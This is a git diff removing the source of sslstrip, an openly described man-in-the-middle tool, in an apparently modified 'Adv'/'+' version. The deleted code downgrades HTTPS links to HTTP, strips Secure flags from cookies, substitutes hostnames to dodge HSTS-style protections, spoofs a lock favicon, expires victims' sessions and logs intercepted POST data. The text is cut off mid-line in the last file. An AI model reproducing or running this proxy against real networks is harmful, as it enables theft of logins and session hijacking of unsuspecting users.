@@ -1,106 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string - -from ServerConnection import ServerConnection - -class SSLServerConnection(ServerConnection): - - ''' - For SSL connections to a server, we need to do some additional stripping. First we need - to make note of any relative links, as the server will be expecting those to be requested - via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. - ''' - - cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) - cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) - iconExpression = re.compile(r"", re.IGNORECASE) - linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) - headExpression = re.compile(r"", re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - ServerConnection.__init__(self, command, uri, postData, headers, client) - - def getLogLevel(self): - return logging.INFO - - def getPostPrefix(self): - return "SECURE POST" - - def handleHeader(self, key, value): - if (key.lower() == 'set-cookie'): - value = SSLServerConnection.cookieExpression.sub("\g<1>", value) - - ServerConnection.handleHeader(self, key, value) - - def stripFileFromPath(self, path): - (strippedPath, lastSlash, file) = path.rpartition('/') - return strippedPath - - def buildAbsoluteLink(self, link): - absoluteLink = "" - - if ((not link.startswith('http')) and (not link.startswith('/'))): - absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - - logging.debug("Found path-relative link in secure transmission: " + link) - logging.debug("New Absolute path-relative link: " + absoluteLink) - elif not link.startswith('http'): - absoluteLink = "http://"+self.headers['host']+link - - logging.debug("Found relative link in secure transmission: " + link) - logging.debug("New Absolute link: " + absoluteLink) - - if not absoluteLink == "": - absoluteLink = absoluteLink.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); - - def replaceCssLinks(self, data): - iterator = re.finditer(SSLServerConnection.cssExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(1)) - - return data - - def replaceFavicon(self, data): - match = re.search(SSLServerConnection.iconExpression, data) - - if (match != None): - data = re.sub(SSLServerConnection.iconExpression, - "", data) - else: - data = re.sub(SSLServerConnection.headExpression, - "", data) - - return data - - def replaceSecureLinks(self, data): - data = ServerConnection.replaceSecureLinks(self, data) - data = self.replaceCssLinks(data) - - if (self.urlMonitor.isFaviconSpoofing()): - data = self.replaceFavicon(data) - - iterator = re.finditer(SSLServerConnection.linkExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(10)) - - return data diff --git a/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py b/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py deleted file mode 100644 index 62b3763..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py +++ /dev/null @@ -1,173 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string, random, zlib, gzip, StringIO - -from twisted.web.http import HTTPClient -from URLMonitor import URLMonitor - -class ServerConnection(HTTPClient): - - ''' The server connection is where we do the bulk of the stripping. Everything that - comes back is examined. The headers we dont like are removed, and the links are stripped - from HTTPS to HTTP. - ''' - - urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) - urlType = re.compile(r"https://", re.IGNORECASE) - urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) - urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) -# urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - self.urlMonitor = URLMonitor.getInstance() - self.isImageRequest = False - self.isCompressed = False - self.contentLength = None - self.shutdownComplete = False - - def getLogLevel(self): - return logging.DEBUG - - def getPostPrefix(self): - return "POST" - - def sendRequest(self): - logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) - self.sendCommand(self.command, self.uri) - - def sendHeaders(self): - for header, value in self.headers.items(): - logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) - self.sendHeader(header, value) - - self.endHeaders() - - def sendPostData(self): - logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) - self.transport.write(self.postData) - - def connectionMade(self): - logging.log(self.getLogLevel(), "HTTP connection made.") - self.sendRequest() - self.sendHeaders() - - if (self.command == 'POST'): - self.sendPostData() - - def handleStatus(self, version, code, message): - logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) - self.client.setResponseCode(int(code), message) - - def handleHeader(self, key, value): - logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) - - if (key.lower() == 'location'): - value = self.replaceSecureLinks(value) - - if (key.lower() == 'content-type'): - if (value.find('image') != -1): - self.isImageRequest = True - logging.debug("Response is image content, not scanning...") - - if (key.lower() == 'content-encoding'): - if (value.find('gzip') != -1): - logging.debug("Response is compressed...") - self.isCompressed = True - elif (key.lower() == 'content-length'): - self.contentLength = value - elif (key.lower() == 'set-cookie'): - self.client.responseHeaders.addRawHeader(key, value) - else: - self.client.setHeader(key, value) - - def handleEndHeaders(self): - if (self.isImageRequest and self.contentLength != None): - self.client.setHeader("Content-Length", self.contentLength) - - if self.length == 0: - self.shutdown() - - def handleResponsePart(self, data): - if (self.isImageRequest): - self.client.write(data) - else: - HTTPClient.handleResponsePart(self, data) - - def handleResponseEnd(self): - if (self.isImageRequest): - self.shutdown() - else: - HTTPClient.handleResponseEnd(self) - - def handleResponse(self, data): - if (self.isCompressed): - logging.debug("Decompressing content...") - data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - - #logging.log(self.getLogLevel(), "Read from server:\n" + data) - logging.log(self.getLogLevel(), "Read from server:\n " ) - - - data = self.replaceSecureLinks(data) - - if (self.contentLength != None): - self.client.setHeader('Content-Length', len(data)) - - self.client.write(data) - self.shutdown() - - def replaceSecureLinks(self, data): - iterator = re.finditer(ServerConnection.urlExpression, data) - - for match in iterator: - url = match.group() - - logging.debug("Found secure reference: " + url) - self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - - data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) - - iter2 = re.finditer(ServerConnection.urlToken1, data) - for match in iter2: - encontrado = match.group() - logging.debug("Token find: "+encontrado+", parsing...") - - iter2 = re.finditer(ServerConnection.urlToken2, data) - for match in iter2: - encontrado = match.group() - logging.debug("Token find: "+encontrado+", parsing....") - - #data = re.sub(ServerConnection.urlToken2, r'\1?ssltoken=1',data) - #data = re.sub(ServerConnection.urlToken1, r'\1ssltoken=1&',data) - return re.sub(ServerConnection.urlType, 'http://', data) - - - def shutdown(self): - if not self.shutdownComplete: - self.shutdownComplete = True - self.client.finish() - self.transport.loseConnection() - - diff --git a/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py b/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py deleted file mode 100644 index 793bdc6..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from twisted.internet.protocol import ClientFactory - -class ServerConnectionFactory(ClientFactory): - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - - def buildProtocol(self, addr): - return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) - - def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") - - destination = connector.getDestination() - - if (destination.port != 443): - logging.debug("Retrying via SSL") - self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) - else: - self.client.finish() - diff --git a/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py b/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py deleted file mode 100644 index f4c1e89..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from twisted.web.http import HTTPChannel -from ClientRequest import ClientRequest - -class StrippingProxy(HTTPChannel): - '''sslstrip is, at heart, a transparent proxy server that does some unusual things. - This is the basic proxy server class, where we get callbacks for GET and POST methods. - We then proxy these out using HTTP or HTTPS depending on what information we have about - the (connection, client_address) tuple in our cache. - ''' - - requestFactory = ClientRequest diff --git a/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py b/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py deleted file mode 100644 index b4a59fb..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py +++ /dev/null @@ -1,111 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import re - -class URLMonitor: - - ''' - The URL monitor maintains a set of (client, url) tuples that correspond to requests which the - server is expecting over SSL. It also keeps track of secure favicon urls. - ''' - - # Start the arms race, and end up here... - javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] - _instance = None - sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / sustitucion - - def __init__(self): - self.strippedURLs = set() - self.strippedURLPorts = {} - self.faviconReplacement = False - self.sustitucion["mail.google.com"] = "gmail.google.com" - self.real["gmail.google.com"] = "mail.google.com" - - - def isSecureLink(self, client, url): - for expression in URLMonitor.javascriptTrickery: - if (re.match(expression, url)): - return True - - return (client,url) in self.strippedURLs - - def getSecurePort(self, client, url): - if (client,url) in self.strippedURLs: - return self.strippedURLPorts[(client,url)] - else: - return 443 - - def addSecureLink(self, client, url): - methodIndex = url.find("//") + 2 - method = url[0:methodIndex] - - pathIndex = url.find("/", methodIndex) - host = url[methodIndex:pathIndex] - path = url[pathIndex:] - - port = 443 - portIndex = host.find(":") - - if (portIndex != -1): - host = host[0:portIndex] - port = host[portIndex+1:] - if len(port) == 0: - port = 443 - - #LEO: Sustituir HOST - - if self.sustitucion.has_key(host.lower()): - host = self.sustitucion[host.lower()] - else: - lhost = host.lower()[:4] - if lhost=="www.": - self.sustitucion[host.lower()] = "w"+host.lower() - self.real["w"+host.lower()] = host.lower() - else: - self.sustitucion[host.lower()] = "web."+host.lower() - self.real["web."+host.lower()] = host.lower() - - url = method + host + path - - self.strippedURLs.add((client, url)) - self.strippedURLPorts[(client, url)] = int(port) - - def setFaviconSpoofing(self, faviconSpoofing): - self.faviconSpoofing = faviconSpoofing - - def isFaviconSpoofing(self): - return self.faviconSpoofing - - def isSecureFavicon(self, client, url): - return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) - - def URLgetRealHost(host): - if self.real.has_key(host): - return self.real[host] - else: - return host - - def getInstance(): - if URLMonitor._instance == None: - URLMonitor._instance = URLMonitor() - - return URLMonitor._instance - - getInstance = staticmethod(getInstance) diff --git a/build/lib.linux-i686-2.7/sslstrip/__init__.py b/build/lib.linux-i686-2.7/sslstrip/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/build/scripts-2.6/sslstrip b/build/scripts-2.6/sslstrip deleted file mode 100644 index 7f02b95..0000000 --- a/build/scripts-2.6/sslstrip +++ /dev/null @@ -1,110 +0,0 @@ -#!/usr/bin/python - -"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" - -__author__ = "Moxie Marlinspike && Version b by Leonardo Nve" -__email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" -__license__= """ -Copyright (c) 2004-2009 Moxie Marlinspike - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License as -published by the Free Software Foundation; either version 3 of the -License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, but -WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -USA - -""" - -from twisted.web import http -from twisted.internet import reactor - -from sslstrip.StrippingProxy import StrippingProxy -from sslstrip.URLMonitor import URLMonitor -from sslstrip.CookieCleaner import CookieCleaner - -import sys, getopt, logging, traceback, string, os - -gVersion = "0.9 Adv" - -def usage(): - print "\nsslstrip " + gVersion + " by Moxie Marlinspike" - print "Version Adv by Leonardo Nve" - print "Usage: sslstrip \n" - print "Options:" - print "-w , --write= Specify file to log to (optional)." - print "-p , --post Log only SSL POSTs. (default)" - print "-s , --ssl Log all SSL traffic to and from server." - print "-a , --all Log all SSL and HTTP traffic to and from server." - print "-l , --listen= Port to listen on (default 10000)." - print "-f , --favicon Substitute a lock favicon on secure requests." - print "-k , --killsessions Kill sessions in progress." - print "-h Print this help message." - print "" - -def parseOptions(argv): - logFile = 'sslstrip.log' - logLevel = logging.WARNING - listenPort = 10000 - spoofFavicon = False - killSessions = False - - try: - opts, args = getopt.getopt(argv, "hw:l:psafk", - ["help", "write=", "post", "ssl", "all", "listen=", - "favicon", "killsessions"]) - - for opt, arg in opts: - if opt in ("-h", "--help"): - usage() - sys.exit() - elif opt in ("-w", "--write"): - logFile = arg - elif opt in ("-p", "--post"): - logLevel = logging.WARNING - elif opt in ("-s", "--ssl"): - logLevel = logging.INFO - elif opt in ("-a", "--all"): - logLevel = logging.DEBUG - elif opt in ("-l", "--listen"): - listenPort = arg - elif opt in ("-f", "--favicon"): - spoofFavicon = True - elif opt in ("-k", "--killsessions"): - killSessions = True - - return (logFile, logLevel, listenPort, spoofFavicon, killSessions) - - except getopt.GetoptError: - usage() - sys.exit(2) - -def main(argv): - (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) - - logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', - filename=logFile, filemode='w') - - URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) - CookieCleaner.getInstance().setEnabled(killSessions) - - strippingFactory = http.HTTPFactory(timeout=10) - strippingFactory.protocol = StrippingProxy - - reactor.listenTCP(int(listenPort), strippingFactory) - - print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." - print "Adv POC by Leonardo Nve" - - reactor.run() - -if __name__ == '__main__': - main(sys.argv[1:]) diff --git a/build/scripts-2.7/sslstrip b/build/scripts-2.7/sslstrip deleted file mode 100644 index 8637340..0000000 --- a/build/scripts-2.7/sslstrip +++ /dev/null @@ -1,109 +0,0 @@ -#!/usr/bin/python - -"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" - -__author__ = "Moxie Marlinspike" -__email__ = "moxie@thoughtcrime.org" -__license__= """ -Copyright (c) 2004-2009 Moxie Marlinspike - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License as -published by the Free Software Foundation; either version 3 of the -License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, but -WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -USA - -""" - -from twisted.web import http -from twisted.internet import reactor - -from sslstrip.StrippingProxy import StrippingProxy -from sslstrip.URLMonitor import URLMonitor -from sslstrip.CookieCleaner import CookieCleaner - -import sys, getopt, logging, traceback, string, os - -gVersion = "0.9b" - -def usage(): - print "\nsslstrip " + gVersion + " by Moxie Marlinspike" - print "Version b by Leonardo Nve" - print "Usage: sslstrip \n" - print "Options:" - print "-w , --write= Specify file to log to (optional)." - print "-p , --post Log only SSL POSTs. (default)" - print "-s , --ssl Log all SSL traffic to and from server." - print "-a , --all Log all SSL and HTTP traffic to and from server." - print "-l , --listen= Port to listen on (default 10000)." - print "-f , --favicon Substitute a lock favicon on secure requests." - print "-k , --killsessions Kill sessions in progress." - print "-h Print this help message." - print "" - -def parseOptions(argv): - logFile = 'sslstrip.log' - logLevel = logging.WARNING - listenPort = 10000 - spoofFavicon = False - killSessions = False - - try: - opts, args = getopt.getopt(argv, "hw:l:psafk", - ["help", "write=", "post", "ssl", "all", "listen=", - "favicon", "killsessions"]) - - for opt, arg in opts: - if opt in ("-h", "--help"): - usage() - sys.exit() - elif opt in ("-w", "--write"): - logFile = arg - elif opt in ("-p", "--post"): - logLevel = logging.WARNING - elif opt in ("-s", "--ssl"): - logLevel = logging.INFO - elif opt in ("-a", "--all"): - logLevel = logging.DEBUG - elif opt in ("-l", "--listen"): - listenPort = arg - elif opt in ("-f", "--favicon"): - spoofFavicon = True - elif opt in ("-k", "--killsessions"): - killSessions = True - - return (logFile, logLevel, listenPort, spoofFavicon, killSessions) - - except getopt.GetoptError: - usage() - sys.exit(2) - -def main(argv): - (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) - - logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', - filename=logFile, filemode='w') - - URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) - CookieCleaner.getInstance().setEnabled(killSessions) - - strippingFactory = http.HTTPFactory(timeout=10) - strippingFactory.protocol = StrippingProxy - - reactor.listenTCP(int(listenPort), strippingFactory) - - print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." - - reactor.run() - -if __name__ == '__main__': - main(sys.argv[1:]) diff --git a/debug_ssl.log b/debug_ssl.log deleted file mode 100644 index 8b13789..0000000 --- a/debug_ssl.log +++ /dev/null @@ -1 +0,0 @@ - diff --git a/lock.ico b/lock.ico deleted file mode 100644 index b94e360..0000000 Binary files a/lock.ico and /dev/null differ diff --git a/poc.log b/poc.log deleted file mode 100644 index e69de29..0000000 diff --git a/setup.py b/setup.py deleted file mode 100644 index fc532fa..0000000 --- a/setup.py +++ /dev/null @@ -1,55 +0,0 @@ -import sys, os, shutil -from distutils.core import setup, Extension - - -shutil.copyfile("sslstrip.py", "sslstrip/sslstrip") - -setup (name = 'sslstrip', - version = '0.9', - description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', - author = 'Moxie Marlinspike', - author_email = 'moxie@thoughtcrime.org', - url = 'http://www.thoughtcrime.org/software/sslstrip/', - license = 'GPL', - packages = ["sslstrip"], - package_dir = {'sslstrip' : 'sslstrip/'}, - scripts = ['sslstrip/sslstrip'], - data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], - ) - -print "Cleaning up..." -try: - removeall("build/") - os.rmdir("build/") -except: - pass - -try: - os.remove("sslstrip/sslstrip") -except: - pass - -def capture(cmd): - return os.popen(cmd).read().strip() - -def removeall(path): - if not os.path.isdir(path): - return - - files=os.listdir(path) - - for x in files: - fullpath=os.path.join(path, x) - if os.path.isfile(fullpath): - f=os.remove - rmgeneric(fullpath, f) - elif os.path.isdir(fullpath): - removeall(fullpath) - f=os.rmdir - rmgeneric(fullpath, f) - -def rmgeneric(path, __func__): - try: - __func__(path) - except OSError, (errno, strerror): - pass diff --git a/sslstrip.log b/sslstrip.log deleted file mode 100644 index e69de29..0000000 diff --git a/sslstrip.py b/sslstrip.py deleted file mode 100644 index 2860e81..0000000 --- a/sslstrip.py +++ /dev/null @@ -1,110 +0,0 @@ -#!/usr/bin/env python - -"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" - -__author__ = "Moxie Marlinspike && Version + by Leonardo Nve" -__email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" -__license__= """ -Copyright (c) 2004-2009 Moxie Marlinspike - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License as -published by the Free Software Foundation; either version 3 of the -License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, but -WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -USA - -""" - -from twisted.web import http -from twisted.internet import reactor - -from sslstrip.StrippingProxy import StrippingProxy -from sslstrip.URLMonitor import URLMonitor -from sslstrip.CookieCleaner import CookieCleaner - -import sys, getopt, logging, traceback, string, os - -gVersion = "0.9 +" - -def usage(): - print "\nsslstrip " + gVersion + " by Moxie Marlinspike" - print "Version + by Leonardo Nve" - print "Usage: sslstrip \n" - print "Options:" - print "-w , --write= Specify file to log to (optional)." - print "-p , --post Log only SSL POSTs. (default)" - print "-s , --ssl Log all SSL traffic to and from server." - print "-a , --all Log all SSL and HTTP traffic to and from server." - print "-l , --listen= Port to listen on (default 10000)." - print "-f , --favicon Substitute a lock favicon on secure requests." - print "-k , --killsessions Kill sessions in progress." - print "-h Print this help message." - print "" - -def parseOptions(argv): - logFile = 'sslstrip.log' - logLevel = logging.WARNING - listenPort = 10000 - spoofFavicon = False - killSessions = False - - try: - opts, args = getopt.getopt(argv, "hw:l:psafk", - ["help", "write=", "post", "ssl", "all", "listen=", - "favicon", "killsessions"]) - - for opt, arg in opts: - if opt in ("-h", "--help"): - usage() - sys.exit() - elif opt in ("-w", "--write"): - logFile = arg - elif opt in ("-p", "--post"): - logLevel = logging.WARNING - elif opt in ("-s", "--ssl"): - logLevel = logging.INFO - elif opt in ("-a", "--all"): - logLevel = logging.DEBUG - elif opt in ("-l", "--listen"): - listenPort = arg - elif opt in ("-f", "--favicon"): - spoofFavicon = True - elif opt in ("-k", "--killsessions"): - killSessions = True - - return (logFile, logLevel, listenPort, spoofFavicon, killSessions) - - except getopt.GetoptError: - usage() - sys.exit(2) - -def main(argv): - (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) - - logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', - filename=logFile, filemode='w') - - URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) - CookieCleaner.getInstance().setEnabled(killSessions) - - strippingFactory = http.HTTPFactory(timeout=10) - strippingFactory.protocol = StrippingProxy - - reactor.listenTCP(int(listenPort), strippingFactory) - - print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." - print "+ POC by Leonardo Nve" - - reactor.run() - -if __name__ == '__main__': - main(sys.argv[1:]) diff --git a/sslstrip/ClientRequest.py b/sslstrip/ClientRequest.py deleted file mode 100644 index 0695ae5..0000000 --- a/sslstrip/ClientRequest.py +++ /dev/null @@ -1,205 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import urlparse, logging, os, sys, random, re - -from twisted.web.http import Request -from twisted.web.http import HTTPChannel -from twisted.web.http import HTTPClient - -from twisted.internet import ssl -from twisted.internet import defer -from twisted.internet import reactor -from twisted.internet.protocol import ClientFactory - -from ServerConnectionFactory import ServerConnectionFactory -from ServerConnection import ServerConnection -from SSLServerConnection import SSLServerConnection -from URLMonitor import URLMonitor -from CookieCleaner import CookieCleaner -from DnsCache import DnsCache - -def NUEVO_LOG(str): - return - -class ClientRequest(Request): - - ''' This class represents incoming client requests and is essentially where - the magic begins. Here we remove the client headers we dont like, and then - respond with either favicon spoofing, session denial, or proxy through HTTP - or SSL to the server. - ''' - - def __init__(self, channel, queued, reactor=reactor): - Request.__init__(self, channel, queued) - self.reactor = reactor - self.urlMonitor = URLMonitor.getInstance() - self.cookieCleaner = CookieCleaner.getInstance() - self.dnsCache = DnsCache.getInstance() -# self.uniqueId = random.randint(0, 10000) - - def cleanHeaders(self): - headers = self.getAllHeaders().copy() - if 'accept-encoding' in headers: - del headers['accept-encoding'] - - if 'referer' in headers: - real = self.urlMonitor.real - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - - if 'if-modified-since' in headers: - del headers['if-modified-since'] - - if 'cache-control' in headers: - del headers['cache-control'] - - if 'if-none-match' in headers: - del headers['if-none-match'] - - if 'host' in headers: - host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) - logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) - headers['host'] = host - #headers['securelink'] = '1' - self.setHeader('Host',host) - - return headers - - def getPathFromUri(self): - if (self.uri.find("http://") == 0): - index = self.uri.find('/', 7) - return self.uri[index:] - - return self.uri - - - def getPathToLockIcon(self): - if os.path.exists("lock.ico"): return "lock.ico" - - scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) - scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") - - if os.path.exists(scriptPath): return scriptPath - - logging.warning("Error: Could not find lock.ico") - return "lock.ico" - - def save_req(self,lfile,str): - f = open(lfile,"a") - f.write(str) - f.close() - - def handleHostResolvedSuccess(self, address): - headers = self.cleanHeaders() -# for header in headers: -# logging.debug("HEADER %s = %s",header,headers[header]) - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) - lhost = self.getHeader("host").lower() - host = self.urlMonitor.URLgetRealHost("%s"%lhost) - client = self.getClientIP() - path = self.getPathFromUri() - self.content.seek(0,0) - postData = self.content.read() - real = self.urlMonitor.real - patchDict = self.urlMonitor.patchDict - - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) - postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - - url = 'http://' + host + path - headers['content-length']="%d"%len(postData) - - self.dnsCache.cacheResolution(host, address) - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("LEO Sending request via HTTP...") - self.proxyViaHTTP(address, self.method, path, postData, headers) - - def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) - self.finish() - - def resolveHost(self, host): - address = 